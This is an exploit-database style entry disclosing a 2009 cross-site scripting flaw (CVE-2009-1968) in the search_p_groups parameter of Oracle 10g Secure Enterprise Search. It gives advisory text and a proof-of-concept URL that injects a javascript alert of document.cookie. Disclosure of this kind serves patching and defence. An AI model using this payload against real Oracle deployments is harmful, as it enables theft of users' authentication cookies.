Oracle 10g Secure Enterprise Search - 'search_p_groups' Cross-Site Scripting

Author: Alexandr Polyakov
type: remote
platform: multiple
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date_added: 2009-06-14 
date_updated: 2014-04-29 
verified: 1 
codes: CVE-2009-1968;OSVDB-55892 
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source: https://www.securityfocus.com/bid/35681/info

Oracle Database is prone to a cross-site scripting vulnerability that affects the Secure Enterprise Search component.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

http://www.example.com:7777/search/query/search?search.timezone=&search_p_groups="&#039;><IMG%20SRC=javascript:alert(document.cookie)>&q=1234&btnSearch=Search